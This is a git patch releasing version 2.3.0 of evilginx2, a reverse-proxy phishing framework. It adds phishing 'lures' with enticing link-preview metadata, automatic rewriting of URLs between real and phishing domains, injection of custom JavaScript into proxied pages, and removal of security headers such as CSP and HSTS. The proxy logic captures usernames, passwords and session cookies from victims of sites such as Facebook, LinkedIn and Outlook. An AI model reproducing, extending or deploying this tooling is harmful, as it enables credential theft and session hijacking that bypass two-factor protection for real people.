From c521dd92efdd5a268c30083c696cb32690356c20 Mon Sep 17 00:00:00 2001 From: Kuba Gretzky Date: Tue, 22 Jan 2019 11:32:20 +0100 Subject: [PATCH] 2.3.0 released --- CHANGELOG | 21 ++ core/banner.go | 2 +- core/config.go | 82 ++++++++ core/http_proxy.go | 354 ++++++++++++++++++++++++++-------- core/phishlet.go | 258 ++++++++++++++++++++++--- core/session.go | 38 ++-- core/shared.go | 9 + core/terminal.go | 331 ++++++++++++++++++++++++++++++- phishlets/amazon.yaml | 7 +- phishlets/citrix.yaml | 7 +- phishlets/facebook.yaml | 7 +- phishlets/instagram.yaml | 7 +- phishlets/linkedin.yaml | 28 ++- phishlets/outlook.yaml | 7 +- phishlets/reddit.yaml | 7 +- phishlets/twitter-mobile.yaml | 7 +- phishlets/twitter.yaml | 16 +- 17 files changed, 1028 insertions(+), 160 deletions(-) create mode 100644 CHANGELOG diff --git a/CHANGELOG b/CHANGELOG new file mode 100644 index 000000000..ff8cb144c --- /dev/null +++ b/CHANGELOG @@ -0,0 +1,21 @@ +2.3.0 +- Proxy can now create most of required `sub_filters` on its own, making it much easier to create new phishlets. +- Added lures, with which you can prepare custom phishing URLs with each having its own set of unique options (`help lures` for more info). +- Added OpenGraph settings for lures, allowing to create enticing content for link previews. +- Added ability to inject custom Javascript into proxied pages. +- Injected Javascript can be customized with values of custom parameters, specified in lure options. +- Deprecated `landing_path` and replaced it with `login` section, which contains the domain and path for website's login page. + +2.2.1 +- Fixed: `type` with value `json` was not correctly activated when set under `credentials`. + +2.2.0 +- Now when any of `auth_urls` is triggered, the redirection will take place AFTER response cookies for that request are captured. +- Regular expression groups working with `sub_filters`. +- Phishlets are now listed in a table. +- Restructured phishlet YAML config file to be easier to understand (phishlets from previous versions need to be updated to new format). +- Phishlet fields are now selectively lowercased and validated upon loading to prevent surprises. +- All search fields in the phishlet are now regular expressions by default (remember about proper escaping!). +- Added option to capture custom POST arguments additionally to credentials. Check `custom` field under `credentials`. +- Added feature to inject custom POST arguments to requests. Useful when forcing users to tick that "Remember me" checkbox. +- Removed 'name' variable from phishlets. Phishlet name is now determined solely based on the filename. \ No newline at end of file diff --git a/core/banner.go b/core/banner.go index bdeaca046..6ffeb49aa 100644 --- a/core/banner.go +++ b/core/banner.go @@ -8,7 +8,7 @@ import ( ) const ( - VERSION = "2.2.2" + VERSION = "2.3.0" ) func putAsciiArt(s string) { diff --git a/core/config.go b/core/config.go index 392e969ff..a0ebc15e6 100644 --- a/core/config.go +++ b/core/config.go @@ -11,6 +11,18 @@ import ( "github.com/spf13/viper" ) +type Lure struct { + Path string `mapstructure:"path" yaml:"path"` + RedirectUrl string `mapstructure:"redirect_url" yaml:"redirect_url"` + Phishlet string `mapstructure:"phishlet" yaml:"phishlet"` + Info string `mapstructure:"info" yaml:"info"` + OgTitle string `mapstructure:"og_title" yaml:"og_title"` + OgDescription string `mapstructure:"og_desc" yaml:"og_desc"` + OgImageUrl string `mapstructure:"og_image" yaml:"og_image"` + OgUrl string `mapstructure:"og_url" yaml:"og_url"` + Params map[string]string `mapstructure:"params" yaml:"params"` +} + type Config struct { siteDomains map[string]string baseDomain string @@ -24,6 +36,7 @@ type Config struct { verificationParam string verificationToken string redirectUrl string + lures []*Lure cfg *viper.Viper } @@ -37,6 +50,7 @@ const ( CFG_VERIFICATION_PARAM = "verification_key" CFG_VERIFICATION_TOKEN = "verification_token" CFG_REDIRECT_URL = "redirect_url" + CFG_LURES = "lures" ) const DEFAULT_REDIRECT_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll @@ -48,6 +62,7 @@ func NewConfig(cfg_dir string, path string) (*Config, error) { sitesHidden: make(map[string]bool), phishlets: make(map[string]*Phishlet), phishletNames: []string{}, + lures: []*Lure{}, } c.cfg = viper.New() @@ -109,6 +124,8 @@ func NewConfig(cfg_dir string, path string) (*Config, error) { if c.redirectUrl == "" { c.SetRedirectUrl(DEFAULT_REDIRECT_URL) } + c.lures = []*Lure{} + c.cfg.UnmarshalKey(CFG_LURES, &c.lures) return c, nil } @@ -308,6 +325,71 @@ func (c *Config) AddPhishlet(site string, pl *Phishlet) { c.phishlets[site] = pl } +func (c *Config) AddLure(site string, l *Lure) { + c.lures = append(c.lures, l) + c.cfg.Set(CFG_LURES, c.lures) + c.cfg.WriteConfig() +} + +func (c *Config) SetLure(index int, l *Lure) error { + if index >= 0 && index < len(c.lures) { + c.lures[index] = l + } else { + return fmt.Errorf("index out of bounds: %d", index) + } + c.cfg.Set(CFG_LURES, c.lures) + c.cfg.WriteConfig() + return nil +} + +func (c *Config) DeleteLure(index int) error { + if index >= 0 && index < len(c.lures) { + c.lures = append(c.lures[:index], c.lures[index+1:]...) + } else { + return fmt.Errorf("index out of bounds: %d", index) + } + c.cfg.Set(CFG_LURES, c.lures) + c.cfg.WriteConfig() + return nil +} + +func (c *Config) DeleteLures(index []int) []int { + tlures := []*Lure{} + di := []int{} + for n, l := range c.lures { + if !intExists(n, index) { + tlures = append(tlures, l) + } else { + di = append(di, n) + } + } + if len(di) > 0 { + c.lures = tlures + c.cfg.Set(CFG_LURES, c.lures) + c.cfg.WriteConfig() + } + return di +} + +func (c *Config) GetLure(index int) (*Lure, error) { + if index >= 0 && index < len(c.lures) { + return c.lures[index], nil + } else { + return nil, fmt.Errorf("index out of bounds: %d", index) + } +} + +func (c *Config) GetLureByPath(site string, path string) (*Lure, error) { + for _, l := range c.lures { + if l.Phishlet == site { + if l.Path == path { + return l, nil + } + } + } + return nil, fmt.Errorf("lure for path '%s' not found", path) +} + func (c *Config) GetPhishlet(site string) (*Phishlet, error) { pl, ok := c.phishlets[site] if !ok { diff --git a/core/http_proxy.go b/core/http_proxy.go index 0638613a9..b03722674 100644 --- a/core/http_proxy.go +++ b/core/http_proxy.go @@ -18,6 +18,7 @@ import ( "net/http" "net/url" "regexp" + "sort" "strconv" "strings" "time" @@ -30,26 +31,36 @@ import ( "github.com/kgretzky/evilginx2/log" ) +const ( + CONVERT_TO_ORIGINAL_URLS = 0 + CONVERT_TO_PHISHING_URLS = 1 +) + const ( httpReadTimeout = 15 * time.Second httpWriteTimeout = 15 * time.Second + + // borrowed from Modlishka project (https://github.com/drk1wi/Modlishka) + MATCH_URL_REGEXP = `\b(http[s]?:\/\/|\\\\|http[s]:\\x2F\\x2F)(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b` + MATCH_URL_REGEXP_WITHOUT_SCHEME = `\b(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b` ) type HttpProxy struct { - Server *http.Server - Proxy *goproxy.ProxyHttpServer - crt_db *CertDb - cfg *Config - db *database.Database - sniListener net.Listener - isRunning bool - sessions map[string]*Session - sids map[string]int - cookieName string - last_sid int - developer bool - ip_whitelist map[string]int64 - ip_sids map[string]string + Server *http.Server + Proxy *goproxy.ProxyHttpServer + crt_db *CertDb + cfg *Config + db *database.Database + sniListener net.Listener + isRunning bool + sessions map[string]*Session + sids map[string]int + cookieName string + last_sid int + developer bool + ip_whitelist map[string]int64 + ip_sids map[string]string + auto_filter_mimes []string } type ProxySession struct { @@ -61,16 +72,17 @@ type ProxySession struct { func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*HttpProxy, error) { p := &HttpProxy{ - Proxy: goproxy.NewProxyHttpServer(), - Server: nil, - crt_db: crt_db, - cfg: cfg, - db: db, - isRunning: false, - last_sid: 0, - developer: developer, - ip_whitelist: make(map[string]int64), - ip_sids: make(map[string]string), + Proxy: goproxy.NewProxyHttpServer(), + Server: nil, + crt_db: crt_db, + cfg: cfg, + db: db, + isRunning: false, + last_sid: 0, + developer: developer, + ip_whitelist: make(map[string]int64), + ip_sids: make(map[string]string), + auto_filter_mimes: []string{"text/html", "application/json", "application/javascript", "text/javascript", "application/x-javascript"}, } p.Server = &http.Server{ @@ -106,8 +118,10 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da hiblue := color.New(color.FgHiBlue) req_url := req.URL.Scheme + "://" + req.Host + req.URL.Path + req_path := req.URL.Path if req.URL.RawQuery != "" { req_url += "?" + req.URL.RawQuery + req_path += "?" + req.URL.RawQuery } //log.Debug("http: %s", req_url) @@ -130,9 +144,16 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da sc, err := req.Cookie(p.cookieName) if err != nil && !p.isWhitelistedIP(remote_addr) { if !p.cfg.IsSiteHidden(pl_name) { - uv := req.URL.Query() - vv := uv.Get(p.cfg.verificationParam) - if vv == p.cfg.verificationToken { + var vv string + var uv url.Values + l, err := p.cfg.GetLureByPath(pl_name, req_path) + if err == nil { + log.Debug("triggered lure for path '%s'", req_path) + } else { + uv = req.URL.Query() + vv = uv.Get(p.cfg.verificationParam) + } + if l != nil || vv == p.cfg.verificationToken { session, err := NewSession(pl.Name) if err == nil { sid := p.last_sid @@ -147,12 +168,18 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da log.Error("database: %v", err) } - rv := uv.Get(p.cfg.redirectParam) - if rv != "" { - url, err := base64.URLEncoding.DecodeString(rv) - if err == nil { - session.RedirectURL = string(url) - log.Debug("redirect URL: %s", url) + if l != nil { + session.RedirectURL = l.RedirectUrl + session.PhishLure = l + log.Debug("redirect URL (lure): %s", l.RedirectUrl) + } else { + rv := uv.Get(p.cfg.redirectParam) + if rv != "" { + url, err := base64.URLEncoding.DecodeString(rv) + if err == nil { + session.RedirectURL = string(url) + log.Debug("redirect URL (get): %s", url) + } } } @@ -174,6 +201,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da ps.Index, ok = p.sids[sc.Value] if ok { ps.SessionId = sc.Value + p.whitelistIP(remote_addr, ps.SessionId) } } else { ps.SessionId, ok = p.getSessionIdByIP(remote_addr) @@ -182,7 +210,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } } if ok { - p.whitelistIP(remote_addr, ps.SessionId) req_ok = true } else { log.Warning("[%s] wrong session token: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr) @@ -190,6 +217,20 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } } + // redirect to login page if triggered lure path + if pl != nil { + _, err := p.cfg.GetLureByPath(pl_name, req_path) + if err == nil { + // redirect from lure path to login url + rurl := pl.GetLoginUrl() + resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "") + if resp != nil { + resp.Header.Add("Location", rurl) + return req, resp + } + } + } + // redirect for unauthorized requests if ps.SessionId == "" && p.handleSession(req.Host) { if !req_ok { @@ -206,6 +247,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da // replace "Host" header e_host := req.Host + orig_host := strings.ToLower(req.Host) if r_host, ok := p.replaceHostWithOriginal(req.Host); ok { req.Host = r_host } @@ -232,6 +274,19 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } } + // patch GET query params with original domains + if pl != nil { + qs := req.URL.Query() + if len(qs) > 0 { + for gp := range qs { + for i, v := range qs[gp] { + qs[gp][i] = string(p.patchUrls(pl, []byte(v), CONVERT_TO_ORIGINAL_URLS)) + } + } + req.URL.RawQuery = qs.Encode() + } + } + // check for creds in request body if pl != nil && ps.SessionId != "" { body, err := ioutil.ReadAll(req.Body) @@ -241,12 +296,15 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da contentType := req.Header.Get("Content-type") if contentType == "application/json" { - json, _ := ioutil.ReadAll(req.Body) + // patch phishing URLs in JSON body with original domains + body = p.patchUrls(pl, body, CONVERT_TO_ORIGINAL_URLS) + req.ContentLength = int64(len(body)) + log.Debug("POST: %s", req.URL.Path) - log.Debug("POST body = %s", json) + log.Debug("POST body = %s", body) if pl.username.tp == "json" { - um := pl.username.search.FindStringSubmatch(string(json)) + um := pl.username.search.FindStringSubmatch(string(body)) if um != nil && len(um) > 1 { p.setSessionUsername(ps.SessionId, um[1]) log.Success("[%d] Username: [%s]", ps.Index, um[1]) @@ -257,7 +315,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } if pl.password.tp == "json" { - pm := pl.password.search.FindStringSubmatch(string(json)) + pm := pl.password.search.FindStringSubmatch(string(body)) if pm != nil && len(pm) > 1 { p.setSessionPassword(ps.SessionId, pm[1]) log.Success("[%d] Password: [%s]", ps.Index, pm[1]) @@ -269,7 +327,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da for _, cp := range pl.custom { if cp.tp == "json" { - cm := cp.search.FindStringSubmatch(string(json)) + cm := cp.search.FindStringSubmatch(string(body)) if cm != nil && len(cm) > 1 { p.setSessionCustom(ps.SessionId, cp.key_s, cm[1]) log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1]) @@ -285,6 +343,13 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da if req.ParseForm() == nil { log.Debug("POST: %s", req.URL.Path) for k, v := range req.PostForm { + // patch phishing URLs in POST params with original domains + for i, vv := range v { + req.PostForm[k][i] = string(p.patchUrls(pl, []byte(vv), CONVERT_TO_ORIGINAL_URLS)) + } + body = []byte(req.PostForm.Encode()) + req.ContentLength = int64(len(body)) + log.Debug("POST %s = %s", k, v[0]) if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) { um := pl.username.search.FindStringSubmatch(v[0]) @@ -371,8 +436,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da if ps.SessionId != "" && origin == "" { s, ok := p.sessions[ps.SessionId] if ok { - if s.IsDone && s.RedirectURL != "" { - log.Important("[%d] redirecting to URL: %s", ps.Index, s.RedirectURL) + if s.IsDone && s.RedirectURL != "" && p.handleSession(orig_host) && s.RedirectCount == 0 { + s.RedirectCount += 1 + log.Important("[%d] redirecting to URL: %s (%d)", ps.Index, s.RedirectURL, s.RedirectCount) resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "") if resp != nil { resp.Header.Add("Location", s.RedirectURL) @@ -424,8 +490,19 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da allow_origin := resp.Header.Get("Access-Control-Allow-Origin") if allow_origin != "" { resp.Header.Set("Access-Control-Allow-Origin", "*") + resp.Header.Set("Access-Control-Allow-Credentials", "true") + } + var rm_headers = []string{ + "Content-Security-Policy", + "Content-Security-Policy-Report-Only", + "Strict-Transport-Security", + "X-XSS-Protection", + "X-Content-Type-Options", + "X-Frame-Options", + } + for _, hdr := range rm_headers { + resp.Header.Del(hdr) } - resp.Header.Del("Content-Security-Policy") redirect_set := false if s, ok := p.sessions[ps.SessionId]; ok { @@ -434,6 +511,8 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } } + req_hostname := strings.ToLower(resp.Request.Host) + // if "Location" header is present, make sure to redirect to the phishing domain r_url, err := resp.Location() if err == nil { @@ -444,7 +523,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } // fix cookies - pl := p.getPhishletByOrigHost(resp.Request.Host) + pl := p.getPhishletByOrigHost(req_hostname) var auth_tokens map[string][]*AuthToken if pl != nil { auth_tokens = pl.authTokens @@ -457,7 +536,12 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da if pl != nil && ps.SessionId != "" { c_domain := ck.Domain if c_domain == "" { - c_domain = resp.Request.Host + c_domain = req_hostname + } else { + // always prepend the domain with '.' if Domain cookie is specified - this will indicate that this cookie will be also sent to all sub-domains + if c_domain[0] != '.' { + c_domain = "." + c_domain + } } log.Debug("%s: %s = %s", c_domain, ck.Name, ck.Value) if pl.isAuthToken(c_domain, ck.Name) { @@ -497,47 +581,110 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } // modify received body - mime := strings.Split(resp.Header.Get("Content-type"), ";")[0] - for site, pl := range p.cfg.phishlets { - if p.cfg.IsSiteEnabled(site) { - sfs, ok := pl.subfilters[resp.Request.Host] - if ok { - for _, sf := range sfs { - if stringExists(mime, sf.mime) && (!sf.redirect_only || sf.redirect_only && redirect_set) { - re_s := sf.regexp - replace_s := sf.replace - phish_hostname, _ := p.replaceHostWithPhished(combineHost(sf.subdomain, sf.domain)) - phish_sub, _ := p.getPhishSub(phish_hostname) - - re_s = strings.Replace(re_s, "{hostname}", regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain)), -1) - re_s = strings.Replace(re_s, "{subdomain}", regexp.QuoteMeta(sf.subdomain), -1) - re_s = strings.Replace(re_s, "{domain}", regexp.QuoteMeta(sf.domain), -1) - re_s = strings.Replace(re_s, "{hostname_regexp}", regexp.QuoteMeta(regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain))), -1) - re_s = strings.Replace(re_s, "{subdomain_regexp}", regexp.QuoteMeta(sf.subdomain), -1) - re_s = strings.Replace(re_s, "{domain_regexp}", regexp.QuoteMeta(sf.domain), -1) - replace_s = strings.Replace(replace_s, "{hostname}", phish_hostname, -1) - replace_s = strings.Replace(replace_s, "{subdomain}", phish_sub, -1) - replace_s = strings.Replace(replace_s, "{hostname_regexp}", regexp.QuoteMeta(phish_hostname), -1) - replace_s = strings.Replace(replace_s, "{subdomain_regexp}", regexp.QuoteMeta(phish_sub), -1) - phishDomain, ok := p.cfg.GetSiteDomain(pl.Name) - if ok { - replace_s = strings.Replace(replace_s, "{domain}", phishDomain, -1) - replace_s = strings.Replace(replace_s, "{domain_regexp}", regexp.QuoteMeta(phishDomain), -1) - } + body, err := ioutil.ReadAll(resp.Body) + + if err == nil { + mime := strings.Split(resp.Header.Get("Content-type"), ";")[0] + for site, pl := range p.cfg.phishlets { + if p.cfg.IsSiteEnabled(site) { + // handle sub_filters + sfs, ok := pl.subfilters[req_hostname] + if ok { + for _, sf := range sfs { + if stringExists(mime, sf.mime) && (!sf.redirect_only || sf.redirect_only && redirect_set) { + re_s := sf.regexp + replace_s := sf.replace + phish_hostname, _ := p.replaceHostWithPhished(combineHost(sf.subdomain, sf.domain)) + phish_sub, _ := p.getPhishSub(phish_hostname) + + re_s = strings.Replace(re_s, "{hostname}", regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain)), -1) + re_s = strings.Replace(re_s, "{subdomain}", regexp.QuoteMeta(sf.subdomain), -1) + re_s = strings.Replace(re_s, "{domain}", regexp.QuoteMeta(sf.domain), -1) + re_s = strings.Replace(re_s, "{hostname_regexp}", regexp.QuoteMeta(regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain))), -1) + re_s = strings.Replace(re_s, "{subdomain_regexp}", regexp.QuoteMeta(sf.subdomain), -1) + re_s = strings.Replace(re_s, "{domain_regexp}", regexp.QuoteMeta(sf.domain), -1) + replace_s = strings.Replace(replace_s, "{hostname}", phish_hostname, -1) + replace_s = strings.Replace(replace_s, "{subdomain}", phish_sub, -1) + replace_s = strings.Replace(replace_s, "{hostname_regexp}", regexp.QuoteMeta(phish_hostname), -1) + replace_s = strings.Replace(replace_s, "{subdomain_regexp}", regexp.QuoteMeta(phish_sub), -1) + phishDomain, ok := p.cfg.GetSiteDomain(pl.Name) + if ok { + replace_s = strings.Replace(replace_s, "{domain}", phishDomain, -1) + replace_s = strings.Replace(replace_s, "{domain_regexp}", regexp.QuoteMeta(phishDomain), -1) + } - body, err := ioutil.ReadAll(resp.Body) - if err == nil { if re, err := regexp.Compile(re_s); err == nil { - body := re.ReplaceAllString(string(body), replace_s) - resp.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body))) + body = []byte(re.ReplaceAllString(string(body), replace_s)) } else { log.Error("regexp failed to compile: `%s`", sf.regexp) } } } } + + // handle auto filters (if enabled) + if stringExists(mime, p.auto_filter_mimes) { + for _, ph := range pl.proxyHosts { + if req_hostname == combineHost(ph.orig_subdomain, ph.domain) { + if ph.auto_filter { + body = p.patchUrls(pl, body, CONVERT_TO_PHISHING_URLS) + } + } + } + } + } + } + + if stringExists(mime, []string{"text/html"}) { + + if pl != nil && ps.SessionId != "" { + s, ok := p.sessions[ps.SessionId] + if ok { + if s.PhishLure != nil { + // inject opengraph headers + l := s.PhishLure + if l.OgDescription != "" || l.OgTitle != "" || l.OgImageUrl != "" || l.OgUrl != "" { + head_re := regexp.MustCompile(`(?i)(<\s*head\s*>)`) + var og_inject string + og_format := "\n" + if l.OgTitle != "" { + og_inject += fmt.Sprintf(og_format, "og:title", l.OgTitle) + } + if l.OgDescription != "" { + og_inject += fmt.Sprintf(og_format, "og:description", l.OgDescription) + } + if l.OgImageUrl != "" { + og_inject += fmt.Sprintf(og_format, "og:image", l.OgImageUrl) + } + if l.OgUrl != "" { + og_inject += fmt.Sprintf(og_format, "og:url", l.OgUrl) + } + + body = []byte(head_re.ReplaceAllString(string(body), "\n"+og_inject)) + } + } + + var js_params *map[string]string = nil + if s.PhishLure != nil { + js_params = &s.PhishLure.Params + } + script, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params) + if err == nil { + log.Debug("js_inject: matched %s%s - injecting script", req_hostname, resp.Request.URL.Path) + js_nonce_re := regexp.MustCompile(`(?i))`) + body = []byte(re.ReplaceAllString(string(body), ""+script+"${1}")) + } + } } } + + resp.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body))) } if pl != nil && len(pl.authUrls) > 0 && ps.SessionId != "" { @@ -552,8 +699,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da if err == nil { log.Success("[%d] detected authorization URL - tokens intercepted: %s", ps.Index, resp.Request.URL.Path) } - if s.IsDone && s.RedirectURL != "" { - log.Important("[%d] redirecting to URL: %s", ps.Index, s.RedirectURL) + if s.IsDone && s.RedirectURL != "" && p.handleSession(req_hostname) && s.RedirectCount == 0 { + s.RedirectCount += 1 + log.Important("[%d] redirecting to URL: %s (%d)", ps.Index, s.RedirectURL, s.RedirectCount) resp := goproxy.NewResponse(resp.Request, "text/html", http.StatusFound, "") if resp != nil { resp.Header.Add("Location", s.RedirectURL) @@ -577,6 +725,54 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da return p, nil } +func (p *HttpProxy) patchUrls(pl *Phishlet, body []byte, c_type int) []byte { + re_url := regexp.MustCompile(MATCH_URL_REGEXP) + re_ns_url := regexp.MustCompile(MATCH_URL_REGEXP_WITHOUT_SCHEME) + + if phishDomain, ok := p.cfg.GetSiteDomain(pl.Name); ok { + var sub_map map[string]string = make(map[string]string) + var hosts []string + for _, ph := range pl.proxyHosts { + var h string + if c_type == CONVERT_TO_ORIGINAL_URLS { + h = combineHost(ph.phish_subdomain, phishDomain) + sub_map[h] = combineHost(ph.orig_subdomain, ph.domain) + } else { + h = combineHost(ph.orig_subdomain, ph.domain) + sub_map[h] = combineHost(ph.phish_subdomain, phishDomain) + } + hosts = append(hosts, h) + } + // make sure that we start replacing strings from longest to shortest + sort.Slice(hosts, func(i, j int) bool { + return len(hosts[i]) > len(hosts[j]) + }) + + body = []byte(re_url.ReplaceAllStringFunc(string(body), func(s_url string) string { + u, err := url.Parse(s_url) + if err == nil { + for _, h := range hosts { + if strings.ToLower(u.Host) == h { + s_url = strings.Replace(s_url, u.Host, sub_map[h], 1) + break + } + } + } + return s_url + })) + body = []byte(re_ns_url.ReplaceAllStringFunc(string(body), func(s_url string) string { + for _, h := range hosts { + if strings.Contains(s_url, h) && !strings.Contains(s_url, sub_map[h]) { + s_url = strings.Replace(s_url, h, sub_map[h], 1) + break + } + } + return s_url + })) + } + return body +} + func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) { return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) { parts := strings.SplitN(host, ":", 2) @@ -830,7 +1026,7 @@ func (p *HttpProxy) handleSession(hostname string) bool { } for _, ph := range pl.proxyHosts { if hostname == combineHost(ph.phish_subdomain, phishDomain) { - if ph.handle_session { + if ph.handle_session || ph.is_landing { return true } return false @@ -856,7 +1052,7 @@ func (p *HttpProxy) deleteRequestCookie(name string, req *http.Request) { func (p *HttpProxy) whitelistIP(ip_addr string, sid string) { log.Debug("whitelistIP: %s %s", ip_addr, sid) - p.ip_whitelist[ip_addr] = time.Now().Add(5 * time.Second).Unix() + p.ip_whitelist[ip_addr] = time.Now().Add(15 * time.Second).Unix() p.ip_sids[ip_addr] = sid } diff --git a/core/phishlet.go b/core/phishlet.go index 4e8a46fd3..dec993e0d 100644 --- a/core/phishlet.go +++ b/core/phishlet.go @@ -17,6 +17,7 @@ type ProxyHost struct { domain string handle_session bool is_landing bool + auto_filter bool } type SubFilter struct { @@ -66,6 +67,18 @@ type ForcePost struct { tp string `mapstructure:"type"` } +type LoginUrl struct { + domain string `mapstructure:"domain"` + path string `mapstructure:"path"` +} + +type JsInject struct { + trigger_domains []string `mapstructure:"trigger_domains"` + trigger_paths []*regexp.Regexp `mapstructure:"trigger_paths"` + trigger_params []string `mapstructure:"trigger_params"` + script string `mapstructure:"script"` +} + type Phishlet struct { Site string Name string @@ -83,14 +96,17 @@ type Phishlet struct { cfg *Config custom []PostField forcePost []ForcePost + login LoginUrl + js_inject []JsInject } type ConfigProxyHost struct { - PhishSub *string `mapstructure:"phish_sub"` - OrigSub *string `mapstructure:"orig_sub"` - Domain *string `mapstructure:"domain"` - Session bool `mapstructure:"session"` - IsLanding bool `mapstructure:"is_landing"` + PhishSub *string `mapstructure:"phish_sub"` + OrigSub *string `mapstructure:"orig_sub"` + Domain *string `mapstructure:"domain"` + Session bool `mapstructure:"session"` + IsLanding bool `mapstructure:"is_landing"` + AutoFilter *bool `mapstructure:"auto_filter"` } type ConfigSubFilter struct { @@ -137,6 +153,18 @@ type ConfigForcePost struct { Type *string `mapstructure:"type"` } +type ConfigLogin struct { + Domain *string `mapstructure:"domain"` + Path *string `mapstructure:"path"` +} + +type ConfigJsInject struct { + TriggerDomains *[]string `mapstructure:"trigger_domains"` + TriggerPaths *[]string `mapstructure:"trigger_paths"` + TriggerParams []string `mapstructure:"trigger_params"` + Script *string `mapstructure:"script"` +} + type ConfigPhishlet struct { Name string `mapstructure:"name"` ProxyHosts *[]ConfigProxyHost `mapstructure:"proxy_hosts"` @@ -146,6 +174,8 @@ type ConfigPhishlet struct { Credentials *ConfigCredentials `mapstructure:"credentials"` ForcePosts *[]ConfigForcePost `mapstructure:"force_post"` LandingPath *[]string `mapstructure:"landing_path"` 